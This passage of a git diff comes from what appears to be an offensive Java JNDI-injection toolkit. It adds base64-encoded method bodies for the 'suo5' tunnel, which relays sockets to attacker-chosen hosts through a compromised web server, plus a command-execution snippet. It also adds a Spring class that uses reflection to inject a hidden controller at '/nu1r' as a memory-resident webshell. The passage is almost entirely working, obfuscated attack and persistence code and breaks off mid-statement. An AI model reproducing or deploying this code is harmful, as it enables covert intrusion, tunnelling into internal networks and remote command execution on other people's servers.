"CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3U3RhdHVzKGJ5dGUgYikgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117Yn0pOwoJCXJldHVybiBtOwoJfQo="; + + // suo5 u32toBytes 方法 + public static String SUO5_U32_TO_BYTES = "Ynl0ZVtdIHUzMnRvQnl0ZXMoaW50IGkpIHsKCQlieXRlW10gcmVzdWx0ID0gbmV3IGJ5dGVbNF07CgkJcmVzdWx0WzBdID0gKGJ5dGUpIChpID4+IDI0KTsKCQlyZXN1bHRbMV0gPSAoYnl0ZSkgKGkgPj4gMTYpOwoJCXJlc3VsdFsyXSA9IChieXRlKSAoaSA+PiA4KTsKCQlyZXN1bHRbM10gPSAoYnl0ZSkgKGkgLyo+PiAwKi8pOwoJCXJldHVybiByZXN1bHQ7Cgl9"; + + // suo5 bytesToU32 方法 + public static String SUO5_BYTES_TO_U32 = "aW50IGJ5dGVzVG9VMzIoYnl0ZVtdIGJ5dGVzKSB7CgkJcmV0dXJuICgoYnl0ZXNbMF0gJiAweEZGKSA8PCAyNCkgfAoJCQkJKChieXRlc1sxXSAmIDB4RkYpIDw8IDE2KSB8CgkJCQkoKGJ5dGVzWzJdICYgMHhGRikgPDwgOCkgfAoJCQkJKChieXRlc1szXSAmIDB4RkYpKTsKCX0="; + + // suo5 marshal 方法,需要 u32toBytes + public static String SUO5_MARSHAL = "cHJpdmF0ZSBieXRlW10gbWFyc2hhbChqYXZhLnV0aWwuSGFzaE1hcCBtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYnVmID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJT2JqZWN0W10ga2V5U2V0ID0gbS5rZXlTZXQoKS50b0FycmF5KCk7CgkJCgkJZm9yIChpbnQgaSA9IDA7IGkgPCBrZXlTZXQubGVuZ3RoOyBpKyspIHsKCQkJU3RyaW5nIGtleSA9IGtleVNldFtpXS50b1N0cmluZygpOwoJCQlieXRlW10gdmFsdWUgPSAoYnl0ZVtdKW0uZ2V0KGtleSk7CgkJCWJ1Zi53cml0ZSgoYnl0ZSkga2V5Lmxlbmd0aCgpKTsKCQkJYnVmLndyaXRlKGtleS5nZXRCeXRlcygpKTsKCQkJYnVmLndyaXRlKHUzMnRvQnl0ZXMoKHZhbHVlKS5sZW5ndGgpKTsKCQkJYnVmLndyaXRlKHZhbHVlKTsKCQl9CgkJCgkJYnl0ZVtdICAgICAgICAgICAgICBkYXRhID0gYnVmLnRvQnl0ZUFycmF5KCk7CgkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBkYnVmID0gamF2YS5uaW8uQnl0ZUJ1ZmZlci5hbGxvY2F0ZSg1ICsgZGF0YS5sZW5ndGgpOwoJCWRidWYucHV0SW50KGRhdGEubGVuZ3RoKTsKCQlieXRlIGtleSA9IGRhdGFbZGF0YS5sZW5ndGggLyAyXTsKCQlkYnVmLnB1dChrZXkpOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgZGF0YS5sZW5ndGg7IGkrKykgewoJCX0KCQlkYnVmLnB1dChkYXRhKTsKCQlyZXR1cm4gZGJ1Zi5hcnJheSgpOwoJfQ=="; + + // suo5 unmarshal 方法,需要 bytesToU32 + public static String SUO5_UNMARSHAL = "cHJpdmF0ZSBqYXZhLnV0aWwuSGFzaE1hcCB1bm1hcnNoYWwoamF2YS5pby5JbnB1dFN0cmVhbSBpbikgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWphdmEuaW8uRGF0YUlucHV0U3RyZWFtIHJlYWRlciA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShpbik7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgaGVhZGVyID0gbmV3IGJ5dGVbNCArIDFdOwoJCXJlYWRlci5yZWFkRnVsbHkoaGVhZGVyKTsKCQlqYXZhLm5pby5CeXRlQnVmZmVyIGJiICA9IGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChoZWFkZXIpOwoJCWludCAgICAgICAgICAgICAgICAgbGVuID0gYmIuZ2V0SW50KCk7CgkJaW50ICAgICAgICAgICAgICAgICB4ICAgPSBiYi5nZXQoKTsKCQlpZiAobGVuID4gMTAyNCAqIDEwMjQgKiAzMikgewoJCQl0aHJvdyBuZXcgamF2YS5pby5JT0V4Y2VwdGlvbigiaW52YWxpZCBsZW4iKTsKCQl9CgkJYnl0ZVtdIGJzID0gbmV3IGJ5dGVbbGVuXTsKCQlyZWFkZXIucmVhZEZ1bGx5KGJzKTsKCQlmb3IgKGludCBpID0gMDsgaSA8IGJzLmxlbmd0aDsgaSsrKSB7CgkJCWJzW2ldID0gKGJ5dGUpIChic1tpXSBeIHgpOwoJCX0KCQlqYXZhLnV0aWwuSGFzaE1hcCBtID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgYnVmOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgYnMubGVuZ3RoIC0gMTsgKSB7CgkJCXNob3J0IGtMZW4gPSBic1tpXTsKCQkJaSArPSAxOwoJCQlpZiAoaSArIGtMZW4gPj0gYnMubGVuZ3RoKSB7CgkJCQl0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbigia2V5IGxlbiBlcnJvciIpOwoJCQl9CgkJCWlmIChrTGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oImtleSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsga0xlbik7CgkJCVN0cmluZyBrZXkgPSBuZXcgU3RyaW5nKGJ1Zik7CgkJCWkgKz0ga0xlbjsKCgkJCWlmIChpICsgNCA+PSBicy5sZW5ndGgpIHsKCQkJCXRocm93IG5ldyBqYXZhLmxhbmcuRXhjZXB0aW9uKCJ2YWx1ZSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsgNCk7CgkJCWludCB2TGVuID0gYnl0ZXNUb1UzMihidWYpOwoJCQlpICs9IDQ7CgkJCWlmICh2TGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCgkJCWlmIChpICsgdkxlbiA+IGJzLmxlbmd0aCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCQkJYnl0ZVtdIHZhbHVlID0gamF2YS51dGlsLkFycmF5cy5jb3B5T2ZSYW5nZShicywgaSwgaSArIHZMZW4pOwoJCQlpICs9IHZMZW47CgoJCQltLnB1dChrZXksIHZhbHVlKTsKCQl9CgkJcmV0dXJuIG07Cgl9"; + + // suo5 readSocket 方法,需要 marshal newData + public static String SUO5_READ_SOCKET = "cHJpdmF0ZSB2b2lkIHJlYWRTb2NrZXQoamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0cHV0U3RyZWFtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJYnl0ZVtdIHJlYWRCdWYgPSBuZXcgYnl0ZVsxMDI0ICogOF07CgoJCXdoaWxlICh0cnVlKSB7CgkJCWludCBuID0gaW5wdXRTdHJlYW0ucmVhZChyZWFkQnVmKTsKCQkJaWYgKG4gPD0gMCkgewoJCQkJYnJlYWs7CgkJCX0KCQkJYnl0ZVtdIGRhdGFUbXAgICA9IGphdmEudXRpbC5BcnJheXMuY29weU9mUmFuZ2UocmVhZEJ1ZiwgMCwgbik7CgkJCWJ5dGVbXSBmaW5hbERhdGEgPSBtYXJzaGFsKG5ld0RhdGEoZGF0YVRtcCkpOwoJCQlvdXRwdXRTdHJlYW0ud3JpdGUoZmluYWxEYXRhKTsKCQkJb3V0cHV0U3RyZWFtLmZsdXNoKCk7CgkJfQoJfQ=="; + + // suo5 readInputStreamWithTimeout 方法 + public static String SUO5_READ_INPUT_STREAM_WITH_TIMEOUT = "cHVibGljIHZvaWQgcmVhZElucHV0U3RyZWFtV2l0aFRpbWVvdXQoamF2YS5pby5JbnB1dFN0cmVhbSBpcywgYnl0ZVtdIGIsIGludCB0aW1lb3V0TWlsbGlzKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiwgamF2YS5sYW5nLkludGVycnVwdGVkRXhjZXB0aW9uIHsKCQlpbnQgIGJ1ZmZlck9mZnNldCAgPSAwOwoJCWxvbmcgbWF4VGltZU1pbGxpcyA9IG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSArIHRpbWVvdXRNaWxsaXM7CgkJd2hpbGUgKG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSA8IG1heFRpbWVNaWxsaXMgJiYgYnVmZmVyT2Zmc2V0IDwgYi5sZW5ndGgpIHsKCQkJaW50IHJlYWRMZW5ndGggPSBiLmxlbmd0aCAtIGJ1ZmZlck9mZnNldDsKCQkJaWYgKGlzLmF2YWlsYWJsZSgpIDwgcmVhZExlbmd0aCkgewoJCQkJcmVhZExlbmd0aCA9IGlzLmF2YWlsYWJsZSgpOwoJCQl9CgkJCWludCByZWFkUmVzdWx0ID0gaXMucmVhZChiLCBidWZmZXJPZmZzZXQsIHJlYWRMZW5ndGgpOwoJCQlpZiAocmVhZFJlc3VsdCA9PSAtMSkgYnJlYWs7CgkJCWJ1ZmZlck9mZnNldCArPSByZWFkUmVzdWx0OwoJCQlqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDIwMEwpOwoJCX0KCX0="; + + public static String CMD_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIHNiLmFwcGVuZChleGVjQ21kKHRoaXMuQ09NTUFORCkpOwp9"; + + // suo5 tryFullDuplex 方法,需要 readInputStreamWithTimeout 方法 + public static String SUO5_TRY_FULL_DUPLEX = "CXB1YmxpYyB2b2lkIHRyeUZ1bGxEdXBsZXgoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSkgdGhyb3dzIGphdmEuaW8uSU9FeGNlcHRpb24sIGphdmEubGFuZy5JbnRlcnJ1cHRlZEV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWJ5dGVbXSAgICAgICAgICAgICAgZGF0YSA9IG5ldyBieXRlWzMyXTsKCQlyZWFkSW5wdXRTdHJlYW1XaXRoVGltZW91dChpbiwgZGF0YSwgMjAwMCk7CgkJamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0ID0gcmVzcG9uc2UuZ2V0T3V0cHV0U3RyZWFtKCk7CgkJb3V0LndyaXRlKGRhdGEpOwoJfQ=="; + + // suo5 readReq 方法,需要 unmarshal 方法 + public static String SUO5_READ_REQ = "CXByaXZhdGUgdm9pZCByZWFkUmVxKGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSBidWZJbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gc29ja2V0T3V0U3RyZWFtKSB0aHJvd3MgamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJd2hpbGUgKHRydWUpIHsKCQkJamF2YS51dGlsLkhhc2hNYXAgZGF0YU1hcCA9IHVubWFyc2hhbChidWZJbnB1dFN0cmVhbSk7CgkJCWJ5dGVbXSBhY3Rpb24gPSAoYnl0ZVtdKSBkYXRhTWFwLmdldCgiYWMiKTsKCQkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSkgewoJCQkJcmV0dXJuOwoKCQkJfQoJCX0KCX0="; + + // suo5 processDataUnary 方法,需要 unmarshal,marshal,readSocket,newStatus,newDel + public static String SUO5_PROCESS_DATA_UNARY = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhVW5hcnkoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwKSB0aHJvd3MKCQkJamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICBpcyAgICAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWphdmF4LnNlcnZsZXQuU2VydmxldENvbnRleHQgY3R4ICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpLmdldFNlcnZsZXRDb250ZXh0KCk7CgkJamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtICByZWFkZXIgID0gbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShpcyk7CgkJamF2YS51dGlsLkhhc2hNYXAgICAgICAgICAgICBkYXRhTWFwID0gdW5tYXJzaGFsKHJlYWRlcik7CgoJCVN0cmluZyBjbGllbnRJZCA9IG5ldyBTdHJpbmcoKGJ5dGVbXSkgZGF0YU1hcC5nZXQoImlkIikpOwoJCWJ5dGVbXSBhY3Rpb24gICA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJhYyIpOwoJCWlmIChhY3Rpb24ubGVuZ3RoICE9IDEpIHsKCQkJcmVzcC5zZXRTdGF0dXMoNDAzKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRCdWZmZXJTaXplKDggKiAxMDI0KTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSByZXNwT3V0U3RyZWFtID0gcmVzcC5nZXRPdXRwdXRTdHJlYW0oKTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSBzY091dFN0cmVhbTsKCQlpZiAoYWN0aW9uWzBdID09IDB4MDIpIHsKCQkJc2NPdXRTdHJlYW0gPSAoamF2YS5pby5PdXRwdXRTdHJlYW0pIGN0eC5nZXRBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCQlpZiAoc2NPdXRTdHJlYW0gIT0gbnVsbCkgewoJCQkJc2NPdXRTdHJlYW0uY2xvc2UoKTsKCQkJfQoJCQlyZXR1cm47CgkJfSBlbHNlIGlmIChhY3Rpb25bMF0gPT0gMHgwMSkgewoJCQlzY091dFN0cmVhbSA9IChqYXZhLmlvLk91dHB1dFN0cmVhbSkgY3R4LmdldEF0dHJpYnV0ZShjbGllbnRJZCk7CgkJCWlmIChzY091dFN0cmVhbSA9PSBudWxsKSB7CgkJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3RGVsKCkpKTsKCQkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJCXJldHVybjsKCQkJfQoJCQlieXRlW10gZGF0YSA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJkdCIpOwoJCQlpZiAoZGF0YS5sZW5ndGggIT0gMCkgewoJCQkJc2NPdXRTdHJlYW0ud3JpdGUoZGF0YSk7CgkJCQlzY091dFN0cmVhbS5mbHVzaCgpOwoJCQl9CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRIZWFkZXIoIlgtQWNjZWwtQnVmZmVyaW5nIiwgIm5vIik7CgkJU3RyaW5nICAgICAgICAgIGhvc3QgPSBuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJwIikpKTsKCQlqYXZhLm5ldC5Tb2NrZXQgc2M7CgkJdHJ5IHsKCQkJc2MgPSBuZXcgamF2YS5uZXQuU29ja2V0KCk7CgkJCXNjLmNvbm5lY3QobmV3IGphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzKGhvc3QsIHBvcnQpLCA1MDAwKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAxKSkpOwoJCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQljdHguc2V0QXR0cmlidXRlKGNsaWVudElkLCBzY091dFN0cmVhbSk7CgkJcmVzcE91dFN0cmVhbS53cml0ZShtYXJzaGFsKG5ld1N0YXR1cygoYnl0ZSkgMHgwMCkpKTsKCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgoJCWphdmEuaW8uSW5wdXRTdHJlYW0gc2NJblN0cmVhbSA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9IGZpbmFsbHkgewoJCQlzYy5jbG9zZSgpOwoJCQlyZXNwT3V0U3RyZWFtLmNsb3NlKCk7CgkJCWN0eC5yZW1vdmVBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCX0KCX0="; + + // suo5 processDataBio 方法,需要 unmarshal,readReq,newStatus,marshal,setStream 方法 + public static String SUO5_PROCESS_DATA_BIO = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhQmlvKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgcmVxdWVzdCwgamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcCkgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWZpbmFsIGphdmEuaW8uSW5wdXRTdHJlYW0gICAgICAgICByZXFJbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0gcmVxUmVhZGVyICAgICAgPSBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKHJlcUlucHV0U3RyZWFtKTsKCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgICAgICAgICAgICAgZGF0YU1hcCAgICAgICAgPSB1bm1hcnNoYWwocmVxUmVhZGVyKTsKCgkJYnl0ZVtdIGFjdGlvbiA9IChieXRlW10pZGF0YU1hcC5nZXQoImFjIik7CgkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSB8fCBhY3Rpb25bMF0gIT0gMHgwMCkgewoJCQlyZXNwLnNldFN0YXR1cyg0MDMpOwoJCQlyZXR1cm47CgkJfQoJCXJlc3Auc2V0QnVmZmVyU2l6ZSg4ICogMTAyNCk7CgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gcmVzcE91dFN0cmVhbSA9IHJlc3AuZ2V0T3V0cHV0U3RyZWFtKCk7CgoJCS8vIDB4MDAgY3JlYXRlIHNvY2tldAoJCXJlc3Auc2V0SGVhZGVyKCJYLUFjY2VsLUJ1ZmZlcmluZyIsICJubyIpOwoJCVN0cmluZyAgICAgICAgICBob3N0ID0gbmV3IFN0cmluZygoYnl0ZVtdKWRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pZGF0YU1hcC5nZXQoInAiKSkpOwoJCWphdmEubmV0LlNvY2tldCBzYzsKCQl0cnkgewoJCQlzYyA9IG5ldyBqYXZhLm5ldC5Tb2NrZXQoKTsKCQkJc2MuY29ubmVjdChuZXcgamF2YS5uZXQuSW5ldFNvY2tldEFkZHJlc3MoaG9zdCwgcG9ydCksIDUwMDApOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXJlc3BPdXRTdHJlYW0ud3JpdGUobWFyc2hhbChuZXdTdGF0dXMoKGJ5dGUpIDB4MDEpKSk7CgkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlyZXR1cm47CgkJfQoKCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAwKSkpOwoJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLklucHV0U3RyZWFtICBzY0luU3RyZWFtICA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCWphdmEubGFuZy5UaHJlYWQgdCA9IG51bGw7CgkJdHJ5IHsKCQkJdGhpcy5zZXRTdHJlYW0oc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJCXQgPSBuZXcgamF2YS5sYW5nLlRocmVhZCgoamF2YS5sYW5nLlJ1bm5hYmxlKSB0aGlzKTsKCQkJdC5zdGFydCgpOwoJCQlyZWFkUmVxKHJlcVJlYWRlciwgc2NPdXRTdHJlYW0pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfSBmaW5hbGx5IHsKCQkJc2MuY2xvc2UoKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlpZiAodCAhPSBudWxsKSB7CgkJCQl0LmpvaW4oKTsKCQkJfQoJCX0KCX0="; + + // suo 关键方法,需要 Field HEADER_KEY HEADER_VALUE,需要 processDataUnary processDataBio 方法 + public static String SUO5 = "ewoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICAgICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsKCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOwoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIgICAgICAgPSByZXF1ZXN0LmdldEhlYWRlcihIRUFERVJfS0VZKTsKCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGUgPSByZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1UeXBlIik7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgaGVhZGVyLmVxdWFscyhIRUFERVJfVkFMVUUpKSB7CgkJCQlpZiAoY29udGVudFR5cGUgPT0gbnVsbCkgewoJCQkJCXJldHVybjsKCQkJCX0KCQkJCXRyeSB7CgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vcGxhaW4iKSkgewoJCQkJCQl0cnlGdWxsRHVwbGV4KHJlcXVlc3QsIHJlc3BvbnNlKTsKCQkJCQkJcmV0dXJuOwoJCQkJCX0KCgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikpIHsKCQkJCQkJcHJvY2Vzc0RhdGFCaW8ocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXByb2Nlc3NEYXRhVW5hcnkocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9"; + + // run 方法,需要 readSocket 方法,需要 Field gInStream,gOutStream + public static String RUN = "cHVibGljIHZvaWQgcnVuKCkgewoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoZ0luU3RyZWFtLCBnT3V0U3RyZWFtKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java new file mode 100644 index 00000000..20e250ec --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java @@ -0,0 +1,181 @@ +package com.qi4l.jndi.template.memshell.spring; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Map; + +public class SpringControllerMS { + public static ClassLoader suLoader; + + static { + try { + final String controllerPath = "/nu1r"; + getClassLoader(); + Class utilClass = sayMyName("org.springframework.web.servlet.support.RequestContextUtils"); + Class holder = sayMyName("org.springframework.web.context.request.RequestContextHolder"); + Class servletRequestAttr = sayMyName("org.springframework.web.context.request.ServletRequestAttributes"); + Class reqMappingHandler = sayMyName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); + Class beanFactory = sayMyName("org.springframework.beans.factory.BeanFactory"); + + + Class servletRequest = sayMyName("javax.servlet.ServletRequest"); + Class httpServletRequest = sayMyName("javax.servlet.http.HttpServletRequest"); + + // 获取当前应用上下文 + Method getWebApplicationContext; + getWebApplicationContext = getMethodByClass(utilClass, "getWebApplicationContext", new Class[]{servletRequest}); + if (getWebApplicationContext == null) { + getWebApplicationContext = getMethodByClass(utilClass, "findWebApplicationContext", new Class[]{httpServletRequest}); + } + + getWebApplicationContext.setAccessible(true); + + // 获取 ServletRequestAttributes + Method getAttributes = getMethodByClass(holder, "currentRequestAttributes", new Class[]{}); + getAttributes.setAccessible(true); + Object servletRequestAttributes = getAttributes.invoke(null); + + // 获取 Request + Method getRequest = getMethodByClass(servletRequestAttr, "getRequest", new Class[]{}); + getRequest.setAccessible(true); + Object requestObj = getRequest.invoke(servletRequestAttributes); + // 获取 WebApplicationContext + Object context = getWebApplicationContext.invoke(null, requestObj); + + // 通过 context 获取 RequestMappingHandlerMapping 对象 + Method getBean = getMethodByClass(beanFactory, "getBean", new Class[]{Class.class}); + getBean.setAccessible(true); + Object mapping = getBean.invoke(context, reqMappingHandler); + + // 获取父类的 MappingRegistry 属性 + Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); + f.setAccessible(true); + Object mappingRegistry = f.get(mapping); + + // 反射调用 MappingRegistry 的 register 方法 + Class c = sayMyName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"); + Method[] ms = c.getDeclaredMethods(); + + // 判断当前路径是否已经添加 + Field lookupField; + try { + lookupField = c.getDeclaredField("urlLookup"); + } catch (Exception ignored) { + lookupField = c.getDeclaredField("pathLookup"); + } + lookupField.setAccessible(true); + + boolean flag = true; + + Map urlLookup = (Map) lookupField.get(mappingRegistry); + for (String urlPath : urlLookup.keySet()) { + if (controllerPath.equals(urlPath)) { + flag = false; + break; + } + } + + if (flag) { + // 初始化一些注册需要的信息 + + Boolean isSpringHigh = false; + Object url; + Object pPRC = null; + Class requestConditionClass; + + // 高版本 Spring 期望使用 PathPatternsRequestCondition + try { + requestConditionClass = sayMyName("org.springframework.web.servlet.mvc.condition.PathPatternsRequestCondition"); + + Class pathPatternParserClass = sayMyName("org.springframework.web.util.pattern.PathPatternParser"); + Constructor constructor = requestConditionClass.getDeclaredConstructor(pathPatternParserClass, String[].class); + constructor.setAccessible(true); + pPRC = constructor.newInstance(pathPatternParserClass.newInstance(), new String[]{controllerPath}); + isSpringHigh = true; + } catch (Exception ignored) { + } + + // 低版本使用 PatternsRequestCondition + requestConditionClass = sayMyName("org.springframework.web.servlet.mvc.condition.PatternsRequestCondition"); + Constructor constructor = requestConditionClass.getDeclaredConstructor(String[].class); + constructor.setAccessible(true); + url = constructor.newInstance(new Object[]{new String[]{controllerPath}}); + + + Class requestMethodsRequestCondition = sayMyName("org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition"); + Class requestMappingInfo = sayMyName("org.springframework.web.servlet.mvc.method.RequestMappingInfo"); + + Class params = sayMyName("org.springframework.web.servlet.mvc.condition.ParamsRequestCondition"); + Class headers = sayMyName("org.springframework.web.servlet.mvc.condition.HeadersRequestCondition"); + Class consumes = sayMyName("org.springframework.web.servlet.mvc.condition.ConsumesRequestCondition"); + Class produces = sayMyName("org.springframework.web.servlet.mvc.condition.ProducesRequestCondition"); + Class requestCondition = sayMyName("org.springframework.web.servlet.mvc.condition.RequestCondition"); + + + // 实例化 RequestMethodsRequestCondition + Constructor constructor1 = requestMethodsRequestCondition.getDeclaredConstructor(java.util.Set.class); + constructor1.setAccessible(true); + Object condition = constructor1.newInstance(new java.util.HashSet()); + + // 实例化 RequestMappingInfo + Constructor constructor2 = 